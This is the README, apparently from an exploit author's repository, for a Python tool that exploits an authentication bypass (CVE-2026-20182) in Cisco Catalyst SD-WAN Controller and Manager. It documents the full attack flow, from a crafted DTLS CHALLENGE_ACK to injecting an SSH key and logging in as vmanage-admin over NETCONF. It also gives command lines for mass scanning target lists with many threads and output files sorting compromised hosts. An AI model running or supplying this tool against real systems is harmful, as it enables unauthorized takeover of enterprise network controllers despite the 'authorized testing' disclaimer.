
Cisco Catalyst SD-WAN Bypass dell'autenticazione del peering
Cisco Catalyst SD-WAN Peering Authentication Bypass
Strumento di valutazione per test autorizzati del bypass dell'autenticazione di peering di Cisco Catalyst SD-WAN Controller / Manager (CVE-2026-20182).
| CVE | CVE-2026-20182 |
| Gravità | Critica (CVSS 10.0) |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Prodotto | Cisco Catalyst SD-WAN Controller (formerly vSmart) · Cisco Catalyst SD-WAN Manager (formerly vManage) |
| Problema | Meccanismo di autenticazione di peering non applicato correttamente |
| Script | CVE-2026-20182.py |
Avviso di maggio 2026: Una falla nell'handshake della connessione di controllo / autenticazione di peering consente a un attaccante remoto non autenticato di bypassare l'autenticazione e ottenere accesso interno ad alti privilegi sui sistemi interessati.
Un attaccante invia richieste appositamente predisposte al sistema interessato. In caso di successo, l'attaccante può autenticarsi come account interno, ad alti privilegi, non-root e raggiungere NETCONF, consentendo la manipolazione della configurazione del fabric SD-WAN.
Raccomandazione: Applicare le correzioni di sicurezza Cisco secondo le indicazioni ufficiali del fornitore. Limitare l'esposizione del management plane, monitorare le connessioni del control plane e verificare i controller SD-WAN per modifiche di configurazione non autorizzate.
Telegram: @KNxploited
CVE-2026-20182.pyFramework di exploit in Python 3 per CVE-2026-20182 contro Cisco SD-WAN vdaemon (UDP/DTLS 12346).
Fallback di fabric: In caso di TEAR_DOWN o disallineamento dei parametri, riprova con preset domain/site alternativi (1,100), (1,1), (0,0) a meno che non venga specificato --no-fallback.
Importante
check → al massimo livello 03 (sonda di bypass). Non è prova completa di sfruttamento.full → punta al livello 01 (ssh_verified).https://host nell'elenco → solo indicazione web TCP (80/443). Non DTLS UDP su 443.pip install -r requirements.txt
Windows
bin\ al PATH, oppure impostare:OPENSSL_HOME=C:\Program Files\OpenSSL-Win64
Linux
# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH
Lo strumento termina all'avvio se OpenSSL non può essere caricato.
python CVE-2026-20182.py
0 = AVVIA SCANSIONEcheck (sonda di bypass sicura)python CVE-2026-20182.py -y
CHECK — solo sonda di bypass
python CVE-2026-20182.py -y --mode check
FULL — inietta chiave + verifica SSH (solo target autorizzati)
python CVE-2026-20182.py -y --mode full
-f / --file — elenco dei target (predefinito: targets.txt)
python CVE-2026-20182.py -y -f my_controllers.txt --mode check
-t / --threads — thread worker (1–200, predefinito 12)
python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check
--domain — DOMAIN_ID predefinito quando non presente nell'elenco (predefinito: 1)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check
--site — SITE_ID predefinito quando non presente nell'elenco (predefinito: 100)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full
--mode — check | full
python CVE-2026-20182.py -y --mode full -f targets.txt
-y / --yes — salta il menu interattivo; usa solo i valori CLI
python CVE-2026-20182.py -y -f targets.txt --mode check -t 20
--no-ssh-verify — salta il test SSH post-iniezione (sconsigliato in modalità full)
python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt
--verify-ssh22 — prova anche la TCP 22 dopo la 830
python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt
--no-try-list-udp — solo UDP 12346; ignora :port dall'elenco
python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check
--extra-udp-ports — lab: porte UDP extra su ogni host
python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check
--no-fallback — disabilita il nuovo tentativo domain/site su TEAR_DOWN
python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full
-v / --verbose — registra ogni messaggio di protocollo TX/RX
python CVE-2026-20182.py -y -v -f targets.txt --mode check
-y è omesso)targets.txtUn target per riga. Le righe che iniziano con # vengono ignorate.
File di esempio
# Lab controllers — authorized only
10.10.10.1
10.10.10.2:12346:1:100
https://sdwan-controller.example.com
10.10.10.4:12346:1:1
Non supportato: IPv6 (solo IPv4 / hostname).
Esempio di comando SSH (livello 01)
ssh -i "sdwan_keys/sdwan_10_10_10_1_12346_d1_s100.pem" [email protected] -p 830 -N
python CVE-2026-20182.py -y -f targets.txt --mode check -t 24
Esaminare cisco_sdwan_03_bypass_only.jsonl e le statistiche live Solo bypass.
python CVE-2026-20182.py -y -f confirmed_hosts.txt --mode full -t 8
Esaminare cisco_sdwan_01_confirmed_ssh.jsonl — unico file con ssh_verified: true.
python CVE-2026-20182.py -y -f single.txt --mode full -t 1 -v --no-fallback
check — non scrive chiavi né prova SSH da sola.ssh_verified=true solo in modalità full.TEAR_DOWN dopo CHALLENGE_ACK; abilitare il fallback di fabric o correggere domain/site nell'elenco.sdwan_keys/ né i risultati delle scansioni in repository pubblici.Questo software è destinato esclusivamente a ricerca sulla sicurezza autorizzata, valutazione difensiva e formazione.
È necessario disporre di autorizzazione scritta esplicita per testare qualsiasi sistema che non si possiede o si gestisce. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non è responsabile di usi impropri, danni o conseguenze legali derivanti dall'uso di questo strumento.
Utilizzare solo su sistemi e reti in cui si dispone di esplicita autorizzazione a eseguire test di sicurezza.
By: Nxploited ( Khaled Alenazi )
| Elemento | Dettaglio |
|---|
| Vettore di attacco | Rete |
| Privilegi richiesti | Nessuno |
| Interazione con l'utente | Nessuna |
| Ambito | Modificato |
| Impatto | Riservatezza, integrità e disponibilità — Alta |
| Passo | Fase | Descrizione |
|---|
| 1 | Carica i target | Analizza targets.txt, unisce i duplicati per (host, domain_id, site_id) |
| 2 | Preflight OpenSSL | Carica le librerie condivise OpenSSL 3.x/4.x per DTLS personalizzato |
| 3 | Connessione DTLS | Si connette alla porta UDP del target (sempre 12346 per prima, poi le porte opzionali dell'elenco) |
| 4 | CHALLENGE | Riceve CHALLENGE (0x08) dal server |
| 5 | CHALLENGE_ACK | Invia CHALLENGE_ACK appositamente predisposto come vHub (tipo 2) — bypass dell'autenticazione |
| 6 | Hello | Completa lo scambio Hello — conferma il percorso di bypass |
| 7a | Modalità CHECK | Fermati qui — registra solo bypass / Hello OK (niente chiavi, niente SSH) |
| 7b | Modalità FULL | Inietta la chiave pubblica SSH tramite VMANAGE_TO_PEER |
| 8 | Inject ACK | Attende REGISTER_TO_VMANAGE (0x0D) come conferma del protocollo |
| 9 | Verifica SSH | Verifica il login come vmanage-admin su TCP 830 (NETCONF), opzionalmente 22 |
| 10 | Output | Ordina i risultati in file a livelli + elenco di comandi leggibile |
| Livello | File | Significato |
|---|
| 01 — SSH confermato | cisco_sdwan_01_confirmed_ssh.jsonl | ssh_verified=true — unico livello considerato prova completa di compromissione |
| 02 — Solo Inject ACK | cisco_sdwan_02_inject_ack_only.jsonl | Il protocollo ha accettato l'iniezione della chiave; login SSH fallito |
| 03 — Solo bypass | cisco_sdwan_03_bypass_only.jsonl | Hello/bypass OK; nessuna iniezione confermata |
| Requisito | Note |
|---|
| Python | 3.9+ |
| pip | cryptography, rich |
| OpenSSL | librerie condivise 3.x o 4.x (libssl + libcrypto) — obbligatorie |
| Modalità | Flag | Iniezione SSH | Verifica SSH | Quando usarla |
|---|
| CHECK | --mode check (predefinita) | No | No | Screening di massa, rilevamento bypass |
| FULL | --mode full | Sì | Sì (tranne con --no-ssh-verify) | Prova di compromissione |
| # | Opzione |
|---|
| 1 | File dei target |
| 2 | Thread worker |
| 3 | DOMAIN_ID predefinito |
| 4 | SITE_ID predefinito |
| 5 | Modalità: check / full |
| 6 | Nuovo tentativo automatico di fabric su TEAR_DOWN |
| 7 | Log di protocollo dettagliato |
| 8 | Verifica SSH dopo l'iniezione |
| 9 | Verifica anche SSH :22 |
| 10 | Prova le porte UDP esplicite dell'elenco |
| 11 | Porte UDP extra (lab) |
| 12 | Mostra aiuto sul formato dell'elenco |
| 0 | ▶ AVVIA SCANSIONE |
| Formato | Esempio | Comportamento |
|---|
| IP / hostname | 10.0.0.1 | UDP 12346 + domain/site predefiniti |
| IP + porta UDP | 10.0.0.2:12346 | Prova anche la porta UDP dell'elenco |
| IP + porta + domain + site | 10.0.0.3:12346:1:100 | Tupla fabric completa |
| URL HTTPS | https://10.0.0.4 | Host + solo indicazione TCP 443 (non UDP/443) |
| URL HTTP | http://10.0.0.5 | solo indicazione TCP 80 |
| URL UDP | udp://10.0.0.6:12346 | UDP esplicito |
| Separati da tab/virgola | 10.0.0.7 12346 1 100 | Come la forma a quattro campi |
| Chiave=valore | 10.0.0.8;port=12346;domain=1;site=100 | Sintassi KV con punto e virgola |
| File | Contenuto |
|---|
cisco_sdwan_results.jsonl | Risultato JSON grezzo per tentativo |
cisco_sdwan_success.txt | Righe SSH confermate (separate da tab) |
cisco_sdwan_01_confirmed_ssh.jsonl | Livello 01 — SSH verificato |
cisco_sdwan_02_inject_ack_only.jsonl | Livello 02 — inject ACK, SSH fallito |
cisco_sdwan_03_bypass_only.jsonl | Livello 03 — solo bypass / Hello |
cisco_sdwan_commands.txt | Comandi SSH leggibili |
cisco_sdwan_findings.json | Riepilogo della sessione + conteggi |
sdwan_keys/ | Chiavi private generate (modalità full) |
| Contatore | Significato |
|---|
| Avanzamento | Target completati / totale |
| SSH verificati | Conteggio livello 01 |
| Inject ACK | Conteggio livello 02 |
| Solo bypass | Conteggio livello 03 |
| Falliti | Errori / nessun bypass |